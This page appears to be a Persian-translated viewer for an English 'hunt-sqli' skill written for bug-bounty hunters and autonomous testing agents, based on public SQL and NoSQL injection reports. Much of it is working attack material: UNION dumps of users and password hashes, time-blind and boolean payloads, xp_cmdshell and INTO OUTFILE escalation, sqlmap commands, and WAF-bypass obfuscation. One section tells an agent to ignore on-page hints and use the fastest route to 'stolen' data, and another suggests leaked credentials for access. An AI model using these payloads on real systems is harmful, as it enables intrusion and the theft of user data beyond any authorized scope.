hunt-sqli

skillupstreamکلاس آسیب‌پذیریگزارش: ۲۹۲۲ کیلوبایت۱۱ بخش

اسکیل کلاس آسیب‌پذیری برای SQLi — استخراج‌شده از ۱۲ گزارش عمومی باگ‌بانتی از جمله تزریق NoSQL مدرن (MongoDB `$regex` در Rocket.Chat CVE-2021-22911، دورزدن `$where` در Mongoose ORM CVE-2024-53900)، SQLi در فروگمنت خام ORM مدرن (Django CVE-2024-42005، Sequelize GHSA-wrh9-cjv3-2hpw)، تزریق SOQL مرتبه‌ی دوم (Salesforce در HackerOne) و blind مبتنی‌بر زمان. وقتی روی هر هدفی شکار SQLi می‌کنی از آن استفاده کن.

توضیح انگلیسی اصلی (مرجع)

Hunting skill for sqli vulnerabilities. Built from 12 public bug bounty reports including modern NoSQL injection (Rocket.Chat CVE-2021-22911 MongoDB $regex, Mongoose ORM CVE-2024-53900 $where bypass), modern ORM raw-fragment SQLi (Django CVE-2024-42005, Sequelize GHSA-wrh9-cjv3-2hpw), second-order SOQL injection (HackerOne Salesforce), time-based blind SQLi in GraphQL resolvers, and SQLi on OIDC-proxy backends. Use when hunting SQLi on any target. Dedicated NoSQL operator injection (MongoDB/CouchDB $where/$regex/$ne) is owned by hunt-nosqli — NoSQL appears here only as adjacent ORM/WAF context.

فلوی اجرای گام‌به‌گام

◆
hunt-sqliشروع اجرا
۱
‏همه‌ی بردارهای ورودی را enumerate کن — از passive scan مربوط به Burp Suite هنگام استفاده‌ی عادی از اپ استفاده کن. هر پارامتر را بگیر: GET، POST، body مربوط به JSON، هدرهای HTTP ‏(User-Agent، Referer، X-Forwarded-For)، کوکی‌ها، سگمنت‌های مسیر.
۲
‏پشته‌ی فنی را شناسایی کن — هدرهای پاسخ، پیام‌های خطا، آگهی‌های استخدام، Wappalyzer و BuiltWith را چک کن. تعیین می‌کند کدام payloadها را اولویت بدهی (MySQL در برابر PostgreSQL در برابر MongoDB).
۳
‏پاسخ را baseline کن — طول پاسخ عادی، کد وضعیت و زمان پاسخ را برای request تمیز یادداشت کن. این baseline مربوط به diff توست.
۴
‏پروب‌های error-based بفرست — کوتیشن تکی `'`، کوتیشن دوتایی `"`، بک‌تیک `` ` `` تزریق کن و دنبال این‌ها بگرد:
۵
‏blind مبتنی‌بر boolean را تست کن — شرط‌های true/false بفرست و پاسخ‌ها را مقایسه کن:
۶
‏blind مبتنی‌بر زمان را تست کن — وقتی هیچ تفاوت قابل‌مشاهده‌ای نیست:
۷
‏برای NoSQL ‏(MongoDB) — تزریق شی از طریق body مربوط به JSON و پارامترهای آرایه‌ای سبک PHP را تست کن:
۸
‏تأیید را خودکار کن — `sqlmap` را روی کاندیدهای تأییدشده با `--level=3 --risk=2` اجرا کن تا دیتابیس‌ها بدون تلاش دستی enumerate شوند.
۹
‏تأثیر را escalate کن — امتحان کن:
۱۰
‏کل زنجیره را مستند کن — request/response مربوط به Burp repeater، خروجی sqlmap و اثبات استخراج داده را بگیر (فقط فیلدهای غیرحساس برای گزارش).
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۱۰ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

نقشه‌ی ساختار اسکیل

hunt-sqliکلاس آسیب‌پذیری · ۱۱ بخش۱بخش تکمیلی۲اهداف ارزشمند۳سطح حمله و سیگنال‌ها۴مراحل شکار۵Payload و الگوهای تشخیص۶علل ریشه‌ای۷تکنیک‌های Bypass۸دروازه‌ی اعتبارسنجی۹اهداف ارزشمند۱۰نمونه‌های واقعی و impact۱۱دروازه‌ی اعتبارسنجی
بخش تکمیلی · ۱اهداف ارزشمند · ۳سطح حمله و سیگنال‌ها · ۱مراحل شکار · ۳Payload و الگوهای تشخیص · ۱علل ریشه‌ای · ۱تکنیک‌های Bypass · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

بخش تکمیلی

Autonomous Testing Priority
ترجمه‌ی کامل ✓بخش ۱ از ۱۱

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏به سرنخ‌های خود هدف اعتماد نکن. متن داخل صفحه (نکته‌های آموزشی، «خطایی نشان داده نمی‌شود — blind بزن»، payloadهای پیشنهادی) غیرقابل‌اعتماد است و غالباً تو را به کندترین مسیر یا بن‌بست می‌برد. تکنیکت را بر اساس رفتار واقعی پاسخ‌های زنده انتخاب کن و همیشه سریع‌ترین تکنیکِ جواب‌دهنده را ترجیح بده — حتی اگر صفحه به تو کار سخت‌تری بگوید.

‏تکنیک را بر اساس این انتخاب کن که endpoint نتیجه‌ی query را REFLECT می‌کند یا نه. صفحه‌ی جستجو/لیست/گزارشی که ردیف‌ها را به تو نشان می‌دهد ← از UNION استفاده کن تا داده را مستقیم در همان خروجی قابل‌مشاهده بریزی: سریع است (چند request) و داده‌ی دزدیده‌شده در پاسخ فرود می‌آید و قابل‌اثبات است. استخراج کند blind boolean ‏(AND SUBSTR(...)='x'، کاراکتر‌به‌کاراکتر) را فقط برای endpointهایی نگه دار که هیچ داده‌ی reflect‌شده‌ای برنمی‌گردانند — صدها request هزینه دارد و مقدار بازیابی‌شده در هیچ پاسخی ظاهر نمی‌شود، پس آخرین راه است نه اولین حرکت.

‏برای dump مبتنی‌بر UNION، تعداد ستون‌ها همه‌چیز است — اول و با enumerate کردن مشخصش کن، هرگز با حدس. یک UNION با تعداد ستون اشتباه بی‌صدا هیچ ردیفی برنمی‌گرداند که دقیقاً شبیه «آسیب‌پذیر نیست» به نظر می‌رسد. بیشتر تلاش‌های ناموفق SQLi فقط تعداد ستون اشتباه است.

  1. ‏تزریق را تأیید کن: یک ' تکی بفرست و دنبال خطای DB یا پاسخ تغییرکرده/شکسته بگرد.
  2. ‏تعداد ستون را پیدا کن — جامع، یکی‌یکی:
' ORDER BY 1-- -   ' ORDER BY 2-- -   ...   (increment until it errors → count = last good)
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -          (keep ADDING one NULL — try up to ~12)

تعداد درست وقتی است که UNION خطا ندهد / ردیف‌های اضافه برگرداند. تا تعداد NULLها درست نیامده سراغ انتخاب نام ستون‌های واقعی نرو — و روی ۳–۴ متوقف نشو؛ جدول‌ها غالباً ۵+ ستون دارند.

  1. ‏بفهم کدام ستون‌ها reflect می‌شوند: NULLها را با مارکر عوض کن، مثلاً UNION SELECT 1,2,3,4,5-- - و ببین کدام عددها روی صفحه ظاهر می‌شوند.
  2. ‏داده را بریز: داده را در موقعیت‌های reflect‌شده بگذار، مثلاً UNION SELECT 1,username,password_md5,4,5 FROM users-- - ‏(MySQL) یا schema را از information_schema.columns / sqlite_master بخوان.

اثبات = داده‌ی استخراج‌شده (hashهای رمز، ایمیل‌ها، محتوای جدول) در پاسخ ظاهر می‌شود.

۲

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۲ از ۱۱

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

تزریق SQL همچنان یکی از پردرآمدترین کلاس‌های آسیب‌پذیری در باگ‌بانتی است چون مستقیم محرمانگی، یکپارچگی و دسترس‌پذیری داده را در مقیاس تهدید می‌کند.

‏باارزش‌ترین اهداف:

  • ‏پلتفرم‌های SaaS با دیتابیس‌های چندمستأجری — یک تزریق می‌تواند داده‌ی همه‌ی مشتریان را لو بدهد
  • ‏سیستم‌های e-commerce/پرداخت — PII، داده‌ی کارت، رکوردهای تراکنش
  • ‏endpointهای جستجو — ورودی کنترل‌شده‌ی کاربر مستقیم به query می‌رسد (مثل /search در Rockstar Games)
  • ‏ساب‌دامین‌های analytics/tracking — غالباً سریع ساخته و کمتر تست می‌شوند (مثل sctrack.email.uber.com.cn)
  • ‏پلاگین‌های شخص‌ثالث روی نصب‌های سازمانی — پلاگین‌های WordPress، اکستنشن‌های CMS روی دامین‌های شرکتی (Huge IT Video Gallery مربوط به Uber)
  • ‏ابزارسازی داخلی درمعرض خارجی — Apache Airflow، GitHub Enterprise، دشبوردهای admin
  • ‏بک‌اندهای NoSQL ‏(MongoDB) — غالباً نادیده گرفته می‌شوند، همان کلاس تزریق با سینتکس متفاوت

‏نوع‌های دارایی که بیشتر پرداخت می‌کنند:

  • ‏APIهای production با پارامترهای /search، /filter، /sort، /report
  • ‏ساب‌دامین‌هایی با پشته‌های قدیمی (واریانت‌های منطقه‌ای .cn، .co، .io)
  • ‏ابزارهای متن‌باز خودمیزبان (Airflow، GitLab، Jenkins) در scope باگ‌بانتی
  • ‏زیرساخت tracking ایمیل و analytics
۳

سطح حمله و سیگنال‌ها

Attack Surface Signals
ترجمه‌ی کامل ✓بخش ۳ از ۱۱

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏الگوهای URL نشان‌دهنده‌ی پارامترهای تزریق‌پذیر:

/search?q=
/filter?category=
/sort?by=&order=
/report?start_date=&end_date=
/api/v1/items?id=
/index.php?id=
/gallery?album_id=
/track?uid=&campaign=
?page=&limit=&offset=

‏سیگنال‌های هدر پاسخ:

  • ‏X-Powered-By: PHP — احتمالاً بک‌اند MySQL/PostgreSQL
  • ‏Server: Apache + PHP — پشته‌ی کلاسیک LAMP
  • ‏X-Powered-By: Express — بک‌اند احتمالی MongoDB/NoSQL
  • ‏نشت پیام‌های خطای دیتابیس در پاسخ‌ها (رشته‌های خطای MySQL، PostgreSQL، MSSQL)

‏الگوهای JavaScript نشان‌دهنده‌ی ساخت query پویا:

// Look for these in JS bundles
fetch(`/api/search?q=${userInput}`)
$.ajax({ url: '/filter?sort=' + param })
axios.get('/report?from=' + startDate + '&to=' + endDate)

‏سیگنال‌های پشته‌ی فنی:

  • ‏سایت‌های WordPress با پلاگین شخص‌ثالث (/wp-content/plugins/ را چک کن)
  • ‏endpointهای Apache Airflow ‏(/admin/، /api/experimental/)
  • ‏‏GitHub Enterprise ‏(/_graphql، /search، /api/v3/)
  • ‏ترکیب‌های Node.js + MongoDB (دنبال $where، $regex در bodyهای request بگرد)
  • ‏اپ‌های PHP که خطاهای پرجزئیات MySQL برمی‌گردانند

‏سیگنال‌های content-type برای NoSQL:

  • ‏bodyهای Content-Type: application/json با پارامترهای شی تودرتو
  • ‏پارامترهایی که آرایه می‌پذیرند: param[]=value یا {"key": {"$gt": ""}}
۴

مراحل شکار

Step-by-Step Hunting Methodology
ترجمه‌ی کامل ✓بخش ۴ از ۱۱

روش‌شناسی گام‌به‌گام اجرای تکنیک از شناسایی تا اعتبارسنجی

  1. ‏همه‌ی بردارهای ورودی را enumerate کن — از passive scan مربوط به Burp Suite هنگام استفاده‌ی عادی از اپ استفاده کن. هر پارامتر را بگیر: GET، POST، body مربوط به JSON، هدرهای HTTP ‏(User-Agent، Referer، X-Forwarded-For)، کوکی‌ها، سگمنت‌های مسیر.
  1. ‏پشته‌ی فنی را شناسایی کن — هدرهای پاسخ، پیام‌های خطا، آگهی‌های استخدام، Wappalyzer و BuiltWith را چک کن. تعیین می‌کند کدام payloadها را اولویت بدهی (MySQL در برابر PostgreSQL در برابر MongoDB).
  1. ‏پاسخ را baseline کن — طول پاسخ عادی، کد وضعیت و زمان پاسخ را برای request تمیز یادداشت کن. این baseline مربوط به diff توست.
  1. ‏پروب‌های error-based بفرست — کوتیشن تکی '، کوتیشن دوتایی "، بک‌تیک ` `` تزریق کن و دنبال این‌ها بگرد:
  • ‏پیام‌های خطای دیتابیس (تأیید فوری)
  • ‏تغییر طول پاسخ
  • ‏خطاهای HTTP 500
  1. ‏blind مبتنی‌بر boolean را تست کن — شرط‌های true/false بفرست و پاسخ‌ها را مقایسه کن:
  • ‏param=1 AND 1=1 در برابر param=1 AND 1=2
  • ‏اگر پاسخ‌ها فرق کردند ← احتمالاً تزریق‌پذیر است
  1. ‏blind مبتنی‌بر زمان را تست کن — وقتی هیچ تفاوت قابل‌مشاهده‌ای نیست:
  • ‏MySQL: param=1 AND SLEEP(5)
  • ‏PostgreSQL: param=1; SELECT pg_sleep(5)--
  • ‏MSSQL: param=1; WAITFOR DELAY '0:0:5'--
  • ‏دلتای زمان پاسخ بیشتر از ۵ ثانیه = تأیید
  1. ‏برای NoSQL ‏(MongoDB) — تزریق شی از طریق body مربوط به JSON و پارامترهای آرایه‌ای سبک PHP را تست کن:
  • ‏مقدار رشته را با {"$gt": ""} در JSON عوض کن
  • ‏param[$ne]=invalid را در query string امتحان کن
  1. ‏تأیید را خودکار کن — sqlmap را روی کاندیدهای تأییدشده با --level=3 --risk=2 اجرا کن تا دیتابیس‌ها بدون تلاش دستی enumerate شوند.
  1. ‏تأثیر را escalate کن — امتحان کن:
  • ‏استخراج مبتنی‌بر UNION (اول ستون‌ها را enumerate کن)
  • ‏‏dump مربوط به INFORMATION_SCHEMA
  • ‏خواندن/نوشتن فایل (LOAD_FILE، INTO OUTFILE) اگر مجوزها اجازه دهند
  • ‏queryهای stack برای RCE ‏(xp_cmdshell در MSSQL)
  1. ‏کل زنجیره را مستند کن — request/response مربوط به Burp repeater، خروجی sqlmap و اثبات استخراج داده را بگیر (فقط فیلدهای غیرحساس برای گزارش).
مراحل استخراج‌شده
  1. ۱‏همه‌ی بردارهای ورودی را enumerate کن — از passive scan مربوط به Burp Suite هنگام استفاده‌ی عادی از اپ استفاده کن. هر پارامتر را بگیر: GET، POST، body مربوط به JSON، هدرهای HTTP ‏(User-Agent، Referer، X-Forwarded-For)، کوکی‌ها، سگمنت‌های مسیر.
  2. ۲‏پشته‌ی فنی را شناسایی کن — هدرهای پاسخ، پیام‌های خطا، آگهی‌های استخدام، Wappalyzer و BuiltWith را چک کن. تعیین می‌کند کدام payloadها را اولویت بدهی (MySQL در برابر PostgreSQL در برابر MongoDB).
  3. ۳‏پاسخ را baseline کن — طول پاسخ عادی، کد وضعیت و زمان پاسخ را برای request تمیز یادداشت کن. این baseline مربوط به diff توست.
  4. ۴‏پروب‌های error-based بفرست — کوتیشن تکی `'`، کوتیشن دوتایی `"`، بک‌تیک `` ` `` تزریق کن و دنبال این‌ها بگرد:
  5. ۵‏پیام‌های خطای دیتابیس (تأیید فوری)
  6. ۶‏تغییر طول پاسخ
  7. ۷‏خطاهای HTTP 500
  8. ۸‏blind مبتنی‌بر boolean را تست کن — شرط‌های true/false بفرست و پاسخ‌ها را مقایسه کن:
  9. ۹‏`param=1 AND 1=1` در برابر `param=1 AND 1=2`
  10. ۱۰‏اگر پاسخ‌ها فرق کردند ← احتمالاً تزریق‌پذیر است
  11. ۱۱‏blind مبتنی‌بر زمان را تست کن — وقتی هیچ تفاوت قابل‌مشاهده‌ای نیست:
  12. ۱۲‏MySQL: `param=1 AND SLEEP(5)`
  13. ۱۳‏PostgreSQL: `param=1; SELECT pg_sleep(5)--`
  14. ۱۴‏MSSQL: `param=1; WAITFOR DELAY '0:0:5'--`
۵

Payload و الگوهای تشخیص

Payload & Detection Patterns
ترجمه‌ی کامل ✓بخش ۵ از ۱۱

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

‏پروب‌های اولیه‌ی error-based:

'
''
`
')
"))
' OR '1'='1
' OR 1=1--
" OR 1=1--
' OR 1=1#
admin'--

‏blind مبتنی‌بر boolean:

' AND 1=1--   (true condition)
' AND 1=2--   (false condition)
' AND SUBSTRING(version(),1,1)='5'--
1 AND (SELECT COUNT(*) FROM users) > 0--

‏blind مبتنی‌بر زمان:

-- MySQL
' AND SLEEP(5)--
1; SELECT SLEEP(5)--

-- PostgreSQL
'; SELECT pg_sleep(5)--
1 AND (SELECT 1 FROM pg_sleep(5))--

-- MSSQL
'; WAITFOR DELAY '0:0:5'--
1; EXEC xp_cmdshell('ping -n 5 127.0.0.1')--

-- SQLite
' AND (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2)))))==1--

‏مبتنی‌بر UNION ‏(اول ستون‌ها را enumerate کن):

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 10--   (find column count via error)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,database(),3--
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--

‏تزریق NoSQL ‏(MongoDB):

// JSON body injection
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"$where": "this.username == this.password"}

// Query string injection
username[$ne]=invalid&password[$ne]=invalid
username[$regex]=.*&password[$regex]=.*

‏تزریق Hash/Array در PHP:

# Replace scalar with array
param[key]=value
param[$gt]=0
param[$ne]=null

‏الگوهای grep برای شکار در سورس JS:

# Find unsanitized query construction in JS
grep -r "query\s*+=" src/
grep -r "WHERE.*\+" src/
grep -r "\.find({" src/ | grep -v "sanitize\|escape"
grep -rE "db\.query\(.*\+" src/

‏تشخیص time-based با curl:

# Baseline
curl -o /dev/null -s -w "%{time_total}\n" "https://target.com/search?q=test"

# Inject
curl -o /dev/null -s -w "%{time_total}\n" "https://target.com/search?q=test' AND SLEEP(5)--"

# SQLMap quick scan
sqlmap -u "https://target.com/search?q=test" --dbs --level=3 --risk=2 --batch

# SQLMap with POST
sqlmap -u "https://target.com/api/filter" --data="category=electronics&sort=price" --dbs --batch

# SQLMap with cookie auth
sqlmap -u "https://target.com/admin/report" --cookie="session=TOKEN" --dbs --batch --level=5

‏لیست payload مربوط به Burp Intruder برای enumerate کردن ستون:

§1§
§1§,§1§
§1§,§1§,§1§
§1§,§1§,§1§,§1§
۶

علل ریشه‌ای

Common Root Causes
ترجمه‌ی کامل ✓بخش ۶ از ۱۱

ریشه‌های کدنویسی و طراحی که این باگ را می‌سازند — با مقایسه‌ی کد آسیب‌پذیر/امن

  1. ‏الحاق رشته به‌جای query پارامتری — علت ریشه‌ای شماره‌ی ۱. توسعه‌دهندگان رشته‌های SQL را مستقیم با ورودی کاربر می‌سازند: "SELECT * FROM items WHERE id=" + userId.
  1. ‏دورزدن ORM برای «کارایی» — توسعه‌دهنده برای joinهای پیچیده یا گزارش‌ها از ORM امن به query خام سوییچ می‌کند: db.query("SELECT " + userColumn + " FROM table").
  1. ‏قابلیت search/filter — منطق sort و filter بدناماً سخت پارامتری می‌شود (نام ستون را نمی‌توان bind کرد) و به دورزدن allowlist یا هیچ محافظتی منجر می‌شود.
  1. ‏آسیب‌پذیری پلاگین/کتابخانه‌ی شخص‌ثالث — توسعه‌دهندگان به پلاگین‌های نصب‌شده (WordPress، اکستنشن‌های Joomla) بدون ممیزی منطق queryشان اعتماد می‌کنند (کیس Huge IT Video Gallery در Uber).
  1. ‏کدبیس‌های legacy — کدهای قدیمی PHP 4/5 پیش از prepared statementهای PDO/MySQLi که هنوز در production روی دارایی‌های تملیک‌شده یا ساب‌دامین‌های منطقه‌ای اجرا می‌شوند.
  1. ‏ابزارهای داخلی که خارجی شدند — ابزارهایی مثل Apache Airflow برای استفاده‌ی داخلی با حداقل hardening امنیتی طراحی شدند و بعد به کاربران خارجی احرازهویت‌شده درمعرض گذاشته شدند.
  1. ‏حس امنیت کاذب NoSQL — توسعه‌دهندگان باور دارند «MongoDB داریم پس SQL injection نداریم» و کلاً اعتبارسنجی ورودی را رد می‌کنند که تزریق شی/اپراتور را ممکن می‌کند.
  1. ‏escape ناکافی ORDER BY / GROUP BY — این clauseها نمی‌توانند پارامتر bind بگیرند، پس توسعه‌دهندگان دستی escape می‌کنند (و غالباً اشتباه).
  1. ‏هدر HTTP و ورودی‌های غیربدیهی — User-Agent، Referer، X-Forwarded-For که بدون پاک‌سازی در DB ذخیره می‌شوند با فرض اینکه مقادیر «قابل‌اعتماد» سمت‌سرورند.
۷

تکنیک‌های Bypass

Bypass Techniques
ترجمه‌ی کامل ✓بخش ۷ از ۱۱

نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترل‌های شناخته‌شده

‏تکنیک‌های دورزدن WAF:

‏مبهم‌سازی کلیدواژه:

-- Space substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT username FROM users
%09SELECT%09username%09FROM%09users  (tab)
SELECT%0Ausername%0AFROM%0Ausers    (newline)

-- Case variation
SeLeCt UsErNaMe FrOm UsErS
sElEcT username fRoM users

-- Comment injection
SE/**/LECT username FR/**/OM users
/*!SELECT*/ username /*!FROM*/ users  (MySQL version comments)
/*!50000SELECT*/ username FROM users

‏دورزدن با encoding:

URL encode: %27 = '  %20 = space  %23 = #
Double URL encode: %2527 = %27 = '
Unicode: ʼ (U+02BC) as quote substitute
HTML entity (in reflected contexts): '

‏جایگزینی اپراتور:

-- Avoid "OR" and "AND"
' || '1'='1
' && '1'='1
UNION ALL SELECT  (instead of UNION SELECT)

‏جایگزینی تابع:

-- When SLEEP is blocked
BENCHMARK(10000000,MD5(1))
GET_LOCK('a',5)
-- When UNION is blocked
INTO OUTFILE  (different extraction method)

‏تزریق از طریق header برای دورزدن WAFهای URL:

curl -H "X-Forwarded-For: 127.0.0.1' AND SLEEP(5)--" https://target.com/
curl -H "User-Agent: test' AND SLEEP(5)--" https://target.com/
curl -H "Referer: https://evil.com/' AND SLEEP(5)--" https://target.com/

‏دورزدن WAF برای JSON/NoSQL:

{"username": {"$\u0067t": ""}}
{"user\u006eame": {"$gt": ""}}

‏دورزدن authentication برای تزریق «فقط-احرازهویت‌شده» (الگوی Airflow):

  • ‏اکانت کم‌امتیاز بگیر (tier رایگان، trial، credential لو‌رفته)
  • ‏از endpointهای احرازهویت‌شده تزریق کن — WAFها غالباً ترافیک احرازهویت‌شده را allowlist می‌کنند

‏Chunked transfer encoding برای دورزدن بازرسی body:

Transfer-Encoding: chunked
(split payload across chunks to evade WAF reassembly)
مراحل استخراج‌شده
  1. ۱‏اکانت کم‌امتیاز بگیر (tier رایگان، trial، credential لو‌رفته)
  2. ۲‏از endpointهای احرازهویت‌شده تزریق کن — WAFها غالباً ترافیک احرازهویت‌شده را allowlist می‌کنند
۸

دروازه‌ی اعتبارسنجی

Gate 0 Validation
ترجمه‌ی کامل ✓بخش ۸ از ۱۱

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

پیش از نوشتن گزارش، به هر سه جواب بده:

‏۱. مهاجم همین الان چه کار می‌تواند بکند؟

باید حداقل یکی را نشان بدهی:

  • ‏استخراج ورژن/نام دیتابیس از طریق پیام خطا یا UNION
  • ‏اثبات کنترل تأخیر زمانی (sleep پنج‌ثانیه‌ای با SLEEP(5)، تأییدشده با timing)
  • ‏استخراج یک ردیف از information_schema.tables
  • ‏دورزدن احراز هویت با تزریق boolean
  • ‏برای NoSQL: دورزدن login یا استخراج داده‌ی collection

اگر تنها شواهد تغییر پیام خطا بدون استخراج داده یا اثبات timing است، ممکن است فقط informational باشد (مثل Report 1 — امتیاز Low گرفت).

‏۲. قربانی چه چیزی از دست می‌دهد؟

باید داده‌ی مشخص در خطر را شناسایی کنی:

  • ‏‏PII ‏(نام، ایمیل، رمز، آدرس)
  • ‏credentialهای احراز هویت یا توکن session
  • ‏داده‌ی کسب‌وکار (تراکنش‌ها، رکوردهای اختصاصی)
  • ‏امکان exfiltration به سرور کنترل‌شده‌ی مهاجم

یک «دیتابیس ممکن است خوانده شود» کلی بدون مشخص‌کردن اینکه کدام دیتابیس/جدول داده‌ی حساس دارد گزارش را به‌شدت تضعیف می‌کند.

‏۳. از صفر در ۱۰ دقیقه بازتولید می‌شود؟

باید داشته باشی:

  • ‏یک دستور curl یا request مربوط به Burp repeater که آسیب‌پذیری را نشان دهد
  • ‏بدون وابستگی به state مربوط به session که فوراً منقضی می‌شود
  • ‏اسکریپت tamper مربوط به SQLMap یا payload دستی که رفتار را پیوسته trigger کند
  • ‏ضبط صفحه یا گام‌به‌گامی که مهندس triage بدون کمک تو دنبال کند

اگر برای بازتولید به بیش از یک اکانت، timing خاص یا race condition نیاز داری — همه‌ی پیش‌نیازها را پیش از ارسال صراحتاً مستند کن.

مراحل استخراج‌شده
  1. ۱‏استخراج ورژن/نام دیتابیس از طریق پیام خطا یا UNION
  2. ۲‏اثبات کنترل تأخیر زمانی (sleep پنج‌ثانیه‌ای با `SLEEP(5)`، تأییدشده با timing)
  3. ۳‏استخراج یک ردیف از `information_schema.tables`
  4. ۴‏دورزدن احراز هویت با تزریق boolean
  5. ۵‏برای NoSQL: دورزدن login یا استخراج داده‌ی collection
  6. ۶‏‏PII ‏(نام، ایمیل، رمز، آدرس)
  7. ۷‏credentialهای احراز هویت یا توکن session
  8. ۸‏داده‌ی کسب‌وکار (تراکنش‌ها، رکوردهای اختصاصی)
  9. ۹‏امکان exfiltration به سرور کنترل‌شده‌ی مهاجم
  10. ۱۰‏یک دستور curl یا request مربوط به Burp repeater که آسیب‌پذیری را نشان دهد
  11. ۱۱‏بدون وابستگی به state مربوط به session که فوراً منقضی می‌شود
  12. ۱۲‏اسکریپت tamper مربوط به SQLMap یا payload دستی که رفتار را پیوسته trigger کند
  13. ۱۳‏ضبط صفحه یا گام‌به‌گامی که مهندس triage بدون کمک تو دنبال کند
۹

اهداف ارزشمند

Real Impact Examples
ترجمه‌ی کامل ✓بخش ۹ از ۱۱

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏سناریوی A — ساب‌دامین منطقه‌ای، پشته‌ی legacy (الگوی sctrack در Uber)

یک ساب‌دامین tracking ایمیل (sctrack.email.[company].com.cn) ساخته‌شده روی پشته‌ی قدیمی PHP پارامتر uid را برای tracking بازشدن ایمیل می‌پذیرفت. پارامتر مستقیم به query مربوط به MySQL الحاق می‌شد. با payload مبتنی‌بر time-blind، مهاجم unauthenticated می‌توانست کل schema مربوط به دیتابیس را enumerate کند، لیست گیرندگان کمپین ایمیل شامل PII را استخراج کند و بالقوه به زیرساخت داخلی pivot کند. ساب‌دامین‌های منطقه‌ای غالباً توسط تیم‌های محلی با بلوغ امنیتی پایین‌تر و خارج از محیط WAF اصلی مدیریت می‌شوند — برای همین پیوسته اهداف پربازده‌اند.

‏سناریوی B — پلاگین شخص‌ثالث روی دامین سازمانی (الگوی پلاگین WordPress در Uber)

سایت مارکتینگ یک شرکت WordPress با پلاگین Huge IT Video Gallery اجرا می‌شد. پارامتر album_id مربوط به پلاگین پارامتری نشده بود. چون سایت credentialهای دیتابیس را با سرویس‌های دیگر به اشتراک می‌گذاشت، اکسپلویت می‌توانست فراتر از نصب WordPress برسد. این ریسک زنجیره‌ی تأمین پلاگین را نشان می‌دهد: scope مربوط به باگ‌بانتی شرکت مادر دامین را شامل می‌شد ولی کد آسیب‌پذیر کاملاً شخص‌ثالث بود. شکار پلاگین‌های WordPress یعنی ممیزی پلاگین‌های نصب‌شده در برابر CVEهای شناخته‌شده و تست تزریق‌های جدید در پارامترهایشان — برند سازمانی حتی وقتی علت ریشه‌ای یک پلاگین $۲۰ است پاداش را چندبرابر می‌کند.

‏سناریوی C — ابزار داخلی احرازهویت‌شده درمعرض خارجی (الگوی Airflow)

رابط وب Apache Airflow که برای orchestration مربوط به workflow دیپلوی شده و برای کاربران احرازهویت‌شده در دسترس بود، تزریق SQL در پارامتر filter/search داخل UI مربوط به admin داشت. چون Airflow غالباً با credentialهای superuser مربوط به دیتابیس اجرا می‌شود (باید دیتابیس متادیتای خودش را مدیریت کند)، اکسپلویت توسط هر کاربر احرازهویت‌شده — از جمله اکانت‌های کم‌امتیاز — می‌توانست به دسترسی کامل خواندن/نوشتن دیتابیس و بالقوه اجرای دستور سطح-سیستم‌عامل از طریق COPY TO/FROM یا قابلیت‌های مشابه DB برسد. درس: «فقط-احرازهویت‌شده» به معنی «امن» نیست — ابزارهای داخلی مدل‌های authorization ضعیف و اتصال‌های DB بیش‌امتیاز دارند.

۱۰

نمونه‌های واقعی و impact

Disclosed Report Citations (Backfill +4 — 2021-2024)
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۱

سناریوها و گزارش‌های افشاشده که الگوی باگ و اثر واقعی را نشان می‌دهند

کیس‌های واقعی و تأییدشده‌ی باگ‌بانتی / CVE / coordinated-disclosure زیر این اسکیل را با نمونه‌های مدرن (۲۰۲۱–۲۰۲۴) با تمرکز بر NoSQL و دورزدن ORM گسترش می‌دهند — دو خانواده‌ی SQLi که در باندل‌های قدیمی‌تر کمتر نماینده دارند.

  1. ‏Rocket.Chat — تزریق NoSQL کور pre-auth در getPasswordPolicy ‏(CVE-2021-22911) ‏(H1 #1130721 · Sonar writeup)
  • ‏زیرکلاس: تزریق NoSQL ‏(اپراتور $regex در MongoDB) — pre-auth
  • ‏‏Payload ‏(فراخوانی method مربوط به Meteor DDP): {"msg":"method","method":"getPasswordPolicy","params":[{"token":{"$regex":"^a"}}]} — بروت‌فورس کاراکتر‌به‌کاراکتر توکن password-reset از طریق کانال‌جانبی زمان‌پاسخ/boolean، بعد زنجیره به reset رمز admin ← RCE از طریق integrationها
  • ‏علت ریشه‌ای: methods مربوط به Meteor سلکتورهای شی خام می‌پذیرفت؛ getPasswordPolicy قبل از پاس‌دادن token به findOne مربوط به Mongo رشته‌بودنش را اعتبارسنجی نمی‌کرد
  • ‏سال: ۲۰۲۱ — باونتی خصوصی H1 جفت با CVE-2021-22911
  1. ‏Mongoose ORM — تزریق $where از طریق populate({match}) ‏(CVE-2024-53900 + CVE-2025-23061) ‏(GHSA-m7xq-9374-9rvx)
  • ‏زیرکلاس: تزریق NoSQL — دورزدن اپراتور خام ORM ‏(Mongoose در Node.js)
